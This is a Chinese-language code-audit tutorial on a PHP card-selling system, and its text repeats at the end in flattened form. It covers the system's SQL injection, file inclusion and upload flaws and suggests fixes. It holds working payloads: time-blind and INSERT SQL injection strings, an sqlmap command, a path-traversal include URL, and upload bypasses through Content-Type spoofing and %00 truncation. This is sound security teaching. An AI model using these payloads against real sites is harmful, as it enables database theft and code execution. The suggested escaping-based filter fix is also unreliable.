发卡系统代码审计-php
字数 1215 2025-08-09 22:00:43

PHP发卡系统代码审计与漏洞挖掘教学文档

1. 系统概述

本教学文档针对一个PHP发卡系统进行全面的代码审计,揭示其中存在的多种安全漏洞。系统主要文件结构如下:

index.php => if/common.php => config.php => db.class.php => function.php => member.php

2. 漏洞分析与利用

2.1 SQL注入漏洞

2.1.1 延迟注入

漏洞位置function.php中的_if过滤函数存在缺陷

过滤函数分析

function _if($str) {
    $str = str_replace(">","", $str);
    $str = str_replace("/","", $str);
    $str = str_replace("<","", $str);
    $str = str_replace(":","", $str);
    $str = str_replace(" '","",$str);
    $str = str_replace(" ","",$str);
    $str = str_replace("=","",$str);
    $str = str_replace("||","",$str);
    $str = str_replace("-","",$str);
    $str = str_replace("#","",$str);
    $str = str_replace("*","",$str);
    $str = str_replace("?","",$str);
    return $str;
}

漏洞代码段

case 'selgo':
    $select = "<option>请选择商品</option>";
    $tpID = _if($_POST['tyid']);
    if($tpID == ""){
        exit(' {"code": 0 ,"msg":" '.$select.' "} ');
    }
    $sql = "select * from if_goods where state =1 and tpId = ".$tpID." ORDER BY sotr desc";
    $res = $DB->query($sql);

漏洞利用

  1. 过滤函数虽然移除了单引号前的空格(" '"),但未移除单引号本身
  2. 参数直接拼接到SQL语句中,未使用预处理
  3. 可构造如1 AND SLEEP(6)的payload进行时间盲注

验证方法

  • 正常访问响应时间:2秒
  • 注入SLEEP(6)后响应时间:8秒
  • 使用SQLMap:sqlmap -u "目标URL" --data="tyid=1*" --level=3 --risk=3

2.1.2 INSERT注入

漏洞位置ajax.php中的create操作

漏洞代码

case 'create':
    $out_trade_no = $_POST['out_trade_no'];
    $gid = _if($_POST['gid']);
    $money = _if($_POST['money']);
    $rel = _if($_POST['rel']);
    $type = _if($_POST['type']);
    $number = intval($_POST['number']);
    // ...省略检查代码...
    $sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number)

漏洞利用
构造payload:

',1,1,'1111111',now(),'qqpay',1),((select database()),1,1,(select user()),now(),'qqpay',1)#
&gid=1&money=1&rel=1111111&type=qqpay&number=1

利用效果

  • 将数据库信息和用户信息插入到订单表中
  • 可通过查询订单列表获取敏感信息

2.1.3 时间注入

漏洞位置:支付功能中的out_trade_no参数

漏洞代码

$or = $_GET['out_trade_no'];
$sql = "SELECT * FROM if_order WHERE out_trade_no='{$or}' limit 1";

漏洞特点

  • out_trade_no参数未经过任何过滤
  • 可直接构造时间盲注payload

利用方法

/sendcard/other/submit.php?type=qqpay&name=test&money=2&number=2
&out_trade_no=1' AND IF(1=1,SLEEP(5),0)-- &gid=1

2.2 文件包含漏洞

漏洞位置index.php中的模板包含

漏洞代码

if (!empty($_GET['tp']) && !empty($_GET['action'])){
    $tp = $_GET['tp'];
    $action = $_GET['action'];
    include 'template/' . $tp . '/' . $action .".php";
    exit();
}

漏洞利用

  • 目录遍历包含任意文件:index.php?tp=default&action=../../phpinfo
  • 可结合文件上传漏洞实现代码执行

2.3 文件上传漏洞

2.3.1 商品图片上传

漏洞位置admin/clist.php?my=add

上传函数分析

function upimgs($upfile) {
    $max_file_size = 2000000;
    $destination_folder ="../assets/goodsimg/";
    $f ="assets/goodsimg/";
    $uptypes = array('image/jpg','image/jpeg','image/png','image/pjpeg','image/gif','image/bmp','image/x-png');
    
    // 检查文件类型
    if (!in_array($file["type"], $uptypes)) {
        return null;
        exit;
    }
    // ...省略其他代码...
}

漏洞特点

  • 仅检查Content-Type,未检查文件内容
  • 可伪造Content-Type上传PHP文件

2.3.2 Logo上传

漏洞位置set.php?mod=upimg

漏洞代码

if ($_POST['s']==1){
    $extension =explode('.',$_FILES['file']['name']);
    if (($length = count($extension)) > 1) {
        $ext = strtolower($extension[$length-1]);
    }
    if ($ext == 'png' || $ext == 'gif' || $ext == 'jpg' || $ext == 'jpeg' || $ext == 'bmp')
        $ext = 'png';
    copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
}

漏洞利用

  • 虽然强制修改扩展名为png,但可通过%00截断绕过
  • 或利用解析漏洞(如Apache的logo.png.php

3. 漏洞修复建议

3.1 SQL注入修复

  1. 使用预处理语句:
$stmt = $DB->prepare("SELECT * FROM if_goods WHERE state =1 AND tpId = ? ORDER BY sotr desc");
$stmt->bind_param("i", $tpID);
$stmt->execute();
  1. 完善过滤函数:
function _if($str) {
    if (!is_numeric($str)) {
        return addslashes(htmlspecialchars(strip_tags($str)));
    }
    return $str;
}

3.2 文件包含修复

  1. 限制包含路径:
$allowed_templates = ['default', 'admin'];
if (!in_array($tp, $allowed_templates)) {
    die('Invalid template');
}

3.3 文件上传修复

  1. 严格验证文件内容:
function isImage($file) {
    $allowed = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF];
    $detected = exif_imagetype($file['tmp_name']);
    return in_array($detected, $allowed);
}
  1. 重命名上传文件:
$new_name = md5(uniqid()).'.'.$ext;

4. 审计总结

本系统存在多处严重安全漏洞,主要问题包括:

  1. SQL注入漏洞(延迟注入、INSERT注入、时间注入)
  2. 文件包含漏洞(目录遍历)
  3. 文件上传漏洞(类型验证不严)

审计关键点:

  • 关注用户输入的处理流程
  • 检查数据库查询是否使用预处理
  • 验证文件操作的安全控制
  • 特别注意未经过滤的GET/POST参数

通过本案例,安全开发人员应认识到输入验证、输出编码和使用安全API的重要性。

PHP发卡系统代码审计与漏洞挖掘教学文档 1. 系统概述 本教学文档针对一个PHP发卡系统进行全面的代码审计,揭示其中存在的多种安全漏洞。系统主要文件结构如下: 2. 漏洞分析与利用 2.1 SQL注入漏洞 2.1.1 延迟注入 漏洞位置 : function.php 中的 _if 过滤函数存在缺陷 过滤函数分析 : 漏洞代码段 : 漏洞利用 : 过滤函数虽然移除了单引号前的空格( " '" ),但未移除单引号本身 参数直接拼接到SQL语句中,未使用预处理 可构造如 1 AND SLEEP(6) 的payload进行时间盲注 验证方法 : 正常访问响应时间:2秒 注入 SLEEP(6) 后响应时间:8秒 使用SQLMap: sqlmap -u "目标URL" --data="tyid=1*" --level=3 --risk=3 2.1.2 INSERT注入 漏洞位置 : ajax.php 中的 create 操作 漏洞代码 : 漏洞利用 : 构造payload: 利用效果 : 将数据库信息和用户信息插入到订单表中 可通过查询订单列表获取敏感信息 2.1.3 时间注入 漏洞位置 :支付功能中的 out_trade_no 参数 漏洞代码 : 漏洞特点 : out_trade_no 参数未经过任何过滤 可直接构造时间盲注payload 利用方法 : 2.2 文件包含漏洞 漏洞位置 : index.php 中的模板包含 漏洞代码 : 漏洞利用 : 目录遍历包含任意文件: index.php?tp=default&action=../../phpinfo 可结合文件上传漏洞实现代码执行 2.3 文件上传漏洞 2.3.1 商品图片上传 漏洞位置 : admin/clist.php?my=add 上传函数分析 : 漏洞特点 : 仅检查 Content-Type ,未检查文件内容 可伪造 Content-Type 上传PHP文件 2.3.2 Logo上传 漏洞位置 : set.php?mod=upimg 漏洞代码 : 漏洞利用 : 虽然强制修改扩展名为 png ,但可通过 %00 截断绕过 或利用解析漏洞(如Apache的 logo.png.php ) 3. 漏洞修复建议 3.1 SQL注入修复 使用预处理语句: 完善过滤函数: 3.2 文件包含修复 限制包含路径: 3.3 文件上传修复 严格验证文件内容: 重命名上传文件: 4. 审计总结 本系统存在多处严重安全漏洞,主要问题包括: SQL注入漏洞(延迟注入、INSERT注入、时间注入) 文件包含漏洞(目录遍历) 文件上传漏洞(类型验证不严) 审计关键点: 关注用户输入的处理流程 检查数据库查询是否使用预处理 验证文件操作的安全控制 特别注意未经过滤的GET/POST参数 通过本案例,安全开发人员应认识到输入验证、输出编码和使用安全API的重要性。